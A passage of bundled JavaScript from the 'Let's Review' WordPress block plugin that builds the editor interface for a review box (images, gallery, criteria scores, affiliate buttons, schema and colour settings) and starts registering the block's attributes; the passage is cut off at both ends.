onClick: function onClick() {\n\t\t\t\t\t\t\t\treturn setAttributes({ fiID: '', fiThumb: '' });\n\t\t\t\t\t\t\t} }) : wp.element.createElement(\n\t\t\t\t\t\t\tMediaUploadCheck,\n\t\t\t\t\t\t\tnull,\n\t\t\t\t\t\t\twp.element.createElement(MediaUpload, {\n\t\t\t\t\t\t\t\tonSelect: onImageSelect.bind(this, 'fi'),\n\t\t\t\t\t\t\t\ttype: 'image',\n\t\t\t\t\t\t\t\tvalue: attributes.fiID,\n\t\t\t\t\t\t\t\trender: function render(_ref) {\n\t\t\t\t\t\t\t\t\tvar open = _ref.open;\n\t\t\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t\t\t'button',\n\t\t\t\t\t\t\t\t\t\t{ onClick: open, className: 'lets-review-upload' },\n\t\t\t\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t\t\t\t'svg',\n\t\t\t\t\t\t\t\t\t\t\t{ width: '24px', height: '24px', viewBox: '0 0 24 24' },\n\t\t\t\t\t\t\t\t\t\t\twp.element.createElement('path', { d: 'M19,2 L5,2 C3.3,2 2,3.3 2,5 L2,19 C2,20.7 3.3,22 5,22 L19,22 C20.7,22 22,20.7 22,19 L22,5 C22,3.3 20.7,2 19,2 Z M4,5 C4,4.4 4.4,4 5,4 L19,4 C19.6,4 20,4.4 20,5 L20,12.6 L16.7,9.3 C16.3,8.9 15.7,8.9 15.3,9.3 L4.7,19.9 C4.3,19.8 4,19.4 4,19 L4,5 Z M19,20 L7.4,20 L16,11.4 L20,15.4 L20,19 C20,19.6 19.6,20 19,20 Z M8.5,11 C9.9,11 11,9.9 11,8.5 C11,7.1 9.9,6 8.5,6 C7.1,6 6,7.1 6,8.5 C6,9.9 7.1,11 8.5,11 Z M8.5,8 C8.8,8 9,8.2 9,8.5 C9,8.8 8.8,9 8.5,9 C8.2,9 8,8.8 8,8.5 C8,8.2 8.2,8 8.5,8 Z', id: 'path-1' })\n\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t)\n\t\t\t\t\t),\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__title', style: titleStyles },\n\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\tvalue: attributes.title,\n\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\treturn setAttributes({ title: value });\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tplaceholder: __('Main Title')\n\t\t\t\t\t\t})\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t);\n\n\t\t\tvar fragmentGallery = attributes.gallery.length > 0 ? wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__gallery lets-review-block__pad' },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__title', style: titleStyles },\n\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\tvalue: attributes.galleryTitle,\n\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\treturn setAttributes({ galleryTitle: value });\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tplaceholder: __('Gallery Title')\n\t\t\t\t\t\t})\n\t\t\t\t\t),\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__images lr-all-c' },\n\t\t\t\t\t\tattributes.gallery.map(function (block, index) {\n\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t{ className: 'lets-review-block__image' },\n\t\t\t\t\t\t\t\twp.element.createElement('img', { src: block['thumb'] })\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t})\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t) : '';\n\t\t\tfunction iconImgHTML(scoreType) {\n\t\t\t\tvar output = [];\n\t\t\t\tfor (var i = letsReviewBlockJS.args.icon_quantity - 1; i >= 0; i--) {\n\t\t\t\t\tif (scoreType === 3) {\n\t\t\t\t\t\toutput.push(wp.element.createElement('i', { 'class': letsReviewBlockJS.args.stars }));\n\t\t\t\t\t} else if (scoreType === 4) {\n\t\t\t\t\t\toutput.push(wp.element.createElement('span', { dangerouslySetInnerHTML: { __html: attributes.iconCode } }));\n\t\t\t\t\t} else if (scoreType === 5) {\n\t\t\t\t\t\toutput.push(wp.element.createElement('img', { src: attributes.imgIconThumb }));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn output;\n\t\t\t}\n\t\t\tvar fragmentCrits = true === critsOn ? wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__crits lets-review-crits-seen' },\n\t\t\t\t\tattributes.crits.map(function (block, index) {\n\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t{ className: critStyles(block['outof100']) },\n\t\t\t\t\t\t\twp.element.createElement('div', { className: 'lets-review-remover', onClick: function onClick() {\n\t\t\t\t\t\t\t\t\treturn blockRemover('crits', index);\n\t\t\t\t\t\t\t\t} }),\n\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t{ className: 'lets-review-block__crit__title', style: titleStyles },\n\t\t\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\t\t\tvalue: block.title,\n\t\t\t\t\t\t\t\t\tonChange: blockEditor.bind(_this2, index, 'crits', 'title', ''),\n\t\t\t\t\t\t\t\t\tplaceholder: __('Title')\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t{ className: 'lets-review-block__crit__score' },\n\t\t\t\t\t\t\t\twp.element.createElement(TextControl, {\n\t\t\t\t\t\t\t\t\tvalue: block[scoreTypeProp],\n\t\t\t\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\t\t\t\tmax: max,\n\t\t\t\t\t\t\t\t\tstep: step,\n\t\t\t\t\t\t\t\t\tonChange: blockEditor.bind(_this2, index, 'crits', scoreTypeProp, max)\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t'span',\n\t\t\t\t\t\t\t\t{ className: scoreOverlayWrapClass, style: scoreOverlayStyles },\n\t\t\t\t\t\t\t\tscoreType < 3 ? wp.element.createElement('span', { className: 'score-overlay', style: { width: block.outof100 + '%', background: attributes.accent } }) : wp.element.createElement(\n\t\t\t\t\t\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\t\t\t\t\t\tnull,\n\t\t\t\t\t\t\t\t\ticonImgHTML(scoreType),\n\t\t\t\t\t\t\t\t\twp.element.createElement('span', { className: 'score-overlay', style: { width: (block.outof100 - 100) * -1 + '%' } })\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t'span',\n\t\t\t\t\t\t\t\t{ 'class': 'lr-tooltip' },\n\t\t\t\t\t\t\t\t__('To set the score click the number and type')\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t}),\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block lets-review-adder-wrap' },\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t{ className: 'lets-review-adder lets-review-font', onClick: function onClick() {\n\t\t\t\t\t\t\t\t\treturn blockAdder('crits');\n\t\t\t\t\t\t\t\t} },\n\t\t\t\t\t\t\t__('Add Criteria')\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t) : '';\n\n\t\t\tvar fragmentScore = attributes.showScore === true || attributes.showScore === 'true' ? wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__final-score lets-review-block__pad' },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'score__wrap lr-all-c', style: { background: attributes.accent, color: attributes.skinFinalScore } },\n\t\t\t\t\t\twp.element.createElement(TextControl, {\n\t\t\t\t\t\t\tclassName: 'score',\n\t\t\t\t\t\t\tvalue: Math.round(attributes.score[scoreTypeProp] * 10) / 10,\n\t\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\t\tmax: max,\n\t\t\t\t\t\t\tstep: step,\n\t\t\t\t\t\t\tonChange: scoreSetter.bind(this, 'score', max)\n\t\t\t\t\t\t}),\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t{ className: 'score__title' },\n\t\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\t\tmultiline: true,\n\t\t\t\t\t\t\t\tvalue: attributes.scoreTitle,\n\t\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\t\treturn setAttributes({ scoreTitle: value });\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tplaceholder: __('Subtitle')\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t) : '';\n\n\t\t\tvar affAdderFragment = wp.element.createElement(\n\t\t\t\t'div',\n\t\t\t\t{ className: 'lets-review-block lets-review-adder-wrap lets-review-adder-aff' },\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-adder lets-review-font', onClick: function onClick() {\n\t\t\t\t\t\t\treturn blockAdder('affBlocks');\n\t\t\t\t\t\t} },\n\t\t\t\t\t__('Add Affiliate')\n\t\t\t\t)\n\t\t\t);\n\n\t\t\tvar fragmentAffiliate = attributes.affBlocks.length > 0 ? wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__aff lets-review-block__pad' },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__title', style: titleStyles },\n\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\tvalue: attributes.affTitle,\n\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\treturn setAttributes({ affTitle: value });\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tplaceholder: __('Affiliate Title')\n\t\t\t\t\t\t})\n\t\t\t\t\t),\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'aff-button-wrap' },\n\t\t\t\t\t\tattributes.affBlocks.map(function (block, index) {\n\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\t\t\t\t\tnull,\n\t\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t\t{ className: 'aff-button lr-button with--remover', style: affStyles },\n\t\t\t\t\t\t\t\t\twp.element.createElement('div', { className: 'lets-review-remover', onClick: function onClick() {\n\t\t\t\t\t\t\t\t\t\t\treturn blockRemover('affBlocks', index);\n\t\t\t\t\t\t\t\t\t\t} }),\n\t\t\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t\t\t'span',\n\t\t\t\t\t\t\t\t\t\t{ className: 'button-title' },\n\t\t\t\t\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\t\t\t\t\tvalue: block.content,\n\t\t\t\t\t\t\t\t\t\t\tonChange: blockEditor.bind(_this2, index, 'affBlocks', 'content', ''),\n\t\t\t\t\t\t\t\t\t\t\tplaceholder: __('Affiliate')\n\t\t\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t\t\t{ className: 'i-wrap', style: { background: attributes.accent } },\n\t\t\t\t\t\t\t\t\t\twp.element.createElement('i', { className: 'fa fa-shopping-cart' }),\n\t\t\t\t\t\t\t\t\t\twp.element.createElement('i', { className: 'fa fa-long-arrow-right' })\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t})\n\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\taffAdderFragment\n\t\t\t) : wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\taffAdderFragment\n\t\t\t);\n\t\t\tvar galleryDefault = '';\n\t\t\tvar galleryRemove = false;\n\t\t\tvar galleryButtonPlaceholder = __('Edit Gallery');\n\t\t\tif (attributes.gallery === undefined || attributes.gallery.length === 0) {\n\t\t\t\tgalleryButtonPlaceholder = __('Create Gallery');\n\t\t\t} else {\n\t\t\t\tgalleryDefault = attributes.gallery.map(function (_ref2) {\n\t\t\t\t\tvar id = _ref2.id;\n\t\t\t\t\treturn id;\n\t\t\t\t});\n\t\t\t\tgalleryRemove = true;\n\t\t\t}\n\t\t\treturn [wp.element.createElement(\n\t\t\t\tInspectorControls,\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\tPanelBody,\n\t\t\t\t\t{ title: __('Block Options') },\n\t\t\t\t\twp.element.createElement(ToggleControl, {\n\t\t\t\t\t\tlabel: __('Show Final Score'),\n\t\t\t\t\t\tchecked: attributes.showScore,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ showScore: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}),\n\t\t\t\t\twp.element.createElement(ToggleControl, {\n\t\t\t\t\t\tlabel: __('Show User Rating'),\n\t\t\t\t\t\tchecked: attributes.showUserRating,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ showUserRating: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}),\n\t\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Design'),\n\t\t\t\t\t\tvalue: attributes.design,\n\t\t\t\t\t\toptions: [{ label: __('Minimalist'), value: '1' }, { label: __('Minimalist B'), value: '6' }, { label: __('Bold'), value: '2' }, { label: __('Clean'), value: '5' }, { label: __('Modern'), value: '3' }, { label: __('Modern B'), value: '4' }],\n\t\t\t\t\t\tonChange: onDesign.bind(this, attributes.scoreType)\n\t\t\t\t\t}),\n\t\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Score Type'),\n\t\t\t\t\t\tvalue: attributes.scoreType,\n\t\t\t\t\t\toptions: scoreTypeOptions,\n\t\t\t\t\t\tonChange: onScoreType.bind(this)\n\t\t\t\t\t}),\n\t\t\t\t\tscoreType === 4 ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Icon HTML code'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ iconCode: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.iconCode\n\t\t\t\t\t}) : '',\n\t\t\t\t\tscoreType === 5 ? wp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'components-base-control inspector__upload' },\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\tMediaUploadCheck,\n\t\t\t\t\t\t\tnull,\n\t\t\t\t\t\t\twp.element.createElement(MediaUpload, {\n\t\t\t\t\t\t\t\tonSelect: onImageSelect.bind(this, 'imgIcon'),\n\t\t\t\t\t\t\t\ttype: 'image',\n\t\t\t\t\t\t\t\tvalue: attributes.imgIconID,\n\t\t\t\t\t\t\t\trender: function render(_ref3) {\n\t\t\t\t\t\t\t\t\tvar open = _ref3.open;\n\t\t\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t\t\t'button',\n\t\t\t\t\t\t\t\t\t\t{ className: 'components-button is-button is-default is-large', onClick: open },\n\t\t\t\t\t\t\t\t\t\t__('Change Image')\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t)\n\t\t\t\t\t) : wp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: 'Skin',\n\t\t\t\t\t\tvalue: attributes.skin,\n\t\t\t\t\t\toptions: [{ label: __('Light'), value: '1' }, { label: __('Dark'), value: '2' }, { label: __('Custom'), value: '3' }],\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ skin: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}),\n\t\t\t\t\tbarsAniOn === true ? wp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Bar Animations'),\n\t\t\t\t\t\tvalue: attributes.aniType,\n\t\t\t\t\t\toptions: [{ label: __('Incremental'), value: '1' }, { label: __('Fade In'), value: '2' }, { label: __('None'), value: '3' }],\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ aniType: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}) : '',\n\t\t\t\t\tbgImgOn === true || design === 6 ? wp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'components-base-control inspector__upload' },\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\tMediaUploadCheck,\n\t\t\t\t\t\t\tnull,\n\t\t\t\t\t\t\twp.element.createElement(MediaUpload, {\n\t\t\t\t\t\t\t\tonSelect: onImageSelect.bind(this, 'bg'),\n\t\t\t\t\t\t\t\ttype: 'image',\n\t\t\t\t\t\t\t\tvalue: attributes.bgID,\n\t\t\t\t\t\t\t\trender: function render(_ref4) {\n\t\t\t\t\t\t\t\t\tvar open = _ref4.open;\n\t\t\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t\t\t'button',\n\t\t\t\t\t\t\t\t\t\t{ className: 'components-button is-button is-default is-large', onClick: open },\n\t\t\t\t\t\t\t\t\t\tbgImagePlaceholder\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t)\n\t\t\t\t\t) : wp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: 'Skin',\n\t\t\t\t\t\tvalue: attributes.skin,\n\t\t\t\t\t\toptions: [{ label: __('Light'), value: '1' }, { label: __('Dark'), value: '2' }, { label: __('Custom'), value: '3' }],\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ skin: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t),\n\t\t\t\twp.element.createElement(\n\t\t\t\t\tPanelBody,\n\t\t\t\t\t{ title: __('Schema') },\n\t\t\t\t\twp.element.createElement(SelectControl, {\n\t\t\t\t\t\tlabel: __('Schema Type'),\n\t\t\t\t\t\tvalue: attributes.itemReviewed,\n\t\t\t\t\t\toptions: [{ label: __('Organization'), value: 'Organization' }, { label: __('Product'), value: 'Product' }, { label: __('Episode'), value: 'Episode' }, { label: __('Movie'), value: 'Movie' }, { label: __('Game'), value: 'Game' }],\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ itemReviewed: value });\n\t\t\t\t\t\t}\n\t\t\t\t\t}),\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Description'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaDescription: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaDescription\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Brand'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaBrand: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaBrand\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('SKU'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaSku: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaSku\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Product' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('MPN'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaMpn: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaMpn\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Movie' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Director'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaDirector: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaDirector\n\t\t\t\t\t}) : '',\n\t\t\t\t\t'Movie' === attributes.itemReviewed ? wp.element.createElement(TextControl, {\n\t\t\t\t\t\tlabel: __('Date Created'),\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ schemaDateCreated: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tvalue: attributes.schemaDateCreated\n\t\t\t\t\t}) : ''\n\t\t\t\t),\n\t\t\t\twp.element.createElement(\n\t\t\t\t\tPanelBody,\n\t\t\t\t\t{ title: __('Gallery') },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'span',\n\t\t\t\t\t\t{ className: 'lr-gallery-wrapper' },\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\tMediaUploadCheck,\n\t\t\t\t\t\t\tnull,\n\t\t\t\t\t\t\twp.element.createElement(MediaUpload, {\n\t\t\t\t\t\t\t\tonSelect: onGallerySelect.bind(this, 'gallery'),\n\t\t\t\t\t\t\t\ttype: 'image',\n\t\t\t\t\t\t\t\tgallery: true,\n\t\t\t\t\t\t\t\tmultiple: true,\n\t\t\t\t\t\t\t\taddToGallery: true,\n\t\t\t\t\t\t\t\tvalue: attributes.gallery.length > 0 ? attributes.gallery.map(function (_ref5) {\n\t\t\t\t\t\t\t\t\tvar id = _ref5.id;\n\t\t\t\t\t\t\t\t\treturn id;\n\t\t\t\t\t\t\t\t}) : '',\n\t\t\t\t\t\t\t\trender: function render(_ref6) {\n\t\t\t\t\t\t\t\t\tvar open = _ref6.open;\n\t\t\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t\t\tButton,\n\t\t\t\t\t\t\t\t\t\t{ onClick: open, className: 'is-button is-default' },\n\t\t\t\t\t\t\t\t\t\tgalleryButtonPlaceholder\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t),\n\t\t\t\t\t\tgalleryRemove === true ? wp.element.createElement(\n\t\t\t\t\t\t\tButton,\n\t\t\t\t\t\t\t{ onClick: function onClick() {\n\t\t\t\t\t\t\t\t\treturn setAttributes({ gallery: '' });\n\t\t\t\t\t\t\t\t}, className: 'is-button is-default' },\n\t\t\t\t\t\t\t__('Remove Gallery')\n\t\t\t\t\t\t) : ''\n\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\twp.element.createElement(PanelColorSettings, {\n\t\t\t\t\ttitle: __('Color Settings'),\n\t\t\t\t\tcolorSettings: [{\n\t\t\t\t\t\tvalue: attributes.accent,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ accent: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tlabel: __('Accent Color')\n\t\t\t\t\t}, {\n\t\t\t\t\t\tvalue: attributes.skinFinalScore,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ skinFinalScore: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tlabel: __('Final Score Color')\n\t\t\t\t\t}]\n\t\t\t\t}),\n\t\t\t\tparseInt(attributes.skin) === 3 && wp.element.createElement(PanelColorSettings, {\n\t\t\t\t\ttitle: __('Color Settings'),\n\t\t\t\t\tcolorSettings: [{\n\t\t\t\t\t\tvalue: attributes.skinBG,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ skinBG: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tlabel: __('Background Color')\n\t\t\t\t\t}, {\n\t\t\t\t\t\tvalue: attributes.skinTitles,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ skinTitles: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tlabel: __('Titles Color')\n\t\t\t\t\t}, {\n\t\t\t\t\t\tvalue: attributes.skinText,\n\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\treturn setAttributes({ skinText: value });\n\t\t\t\t\t\t},\n\t\t\t\t\t\tlabel: __('Body Color')\n\t\t\t\t\t}]\n\t\t\t\t})\n\t\t\t), wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\talignmentTool,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: classes, style: styles },\n\t\t\t\t\tfragmentBG,\n\t\t\t\t\tfragmentImg,\n\t\t\t\t\tfragmentTitle,\n\t\t\t\t\tfragmentConclusion,\n\t\t\t\t\tfragmentCrits,\n\t\t\t\t\tfragmentProsCons,\n\t\t\t\t\tfragmentScore,\n\t\t\t\t\tfragmentGallery,\n\t\t\t\t\tfragmentAffiliate\n\t\t\t\t)\n\t\t\t)];\n\t\t}\n\t}]);\n\n\treturn letsReviewBox;\n}(__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Component\"]);\n\nregisterBlockType('lets-review/block-review', {\n\ttitle: __(\"Let's Review\"),\n\tdescription: __('A flexible and powerful review block.'),\n\ticon: iconEl,\n\tcategory: 'lets-review-blocks',\n\tkeywords: [__('review'), __('rating'), 'lets review', \"Let's Review\", 'lets-review'],\n\tattributes: {\n\t\tskin: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\tdesign: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\taniType: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\tscoreType: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\tposition: {\n\t\t\ttype: 'string',\n\t\t\tdefault: 'center'\n\t\t},\n\t\tfiID: {\n\t\t\ttype: 'integer'\n\t\t},\n\t\tfiThumb: {\n\t\t\ttype: 'string'\n\t\t},\n\t\tbgID: {\n\t\t\ttype: 'integer'\n\t\t},\n\t\tbgThumb: {\n\t\t\ttype: 'string'\n\t\t},\n\t\timgIconID: {\n\t\t\ttype: 'integer'\n\t\t},\n\t\timgIconThumb: {\n\t\t\ttype: 'string'\n\t\t},\n\t\tshowScore: {\n\t\t\ttype: 'boolean',\n\t\t\tdefault: 'true'\n\t\t},\n\t\tshowUserRating: {\n\t\t\ttype: 'boolean',\n\t\t\tdefault: 'false'\n\t\t},\n\t\tscore: {\n\t\t\ttype: 'object',\n\t\t\tdefault: {\n\t\t\t\toutof5: '0',\n\t\t\t\toutof10: '0',\n\t\t\t\toutof100: '0'\n\t\t\t}\n\t\t},\n\t\tscoreTitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\taffTitle: {\n\t\t\ttype: 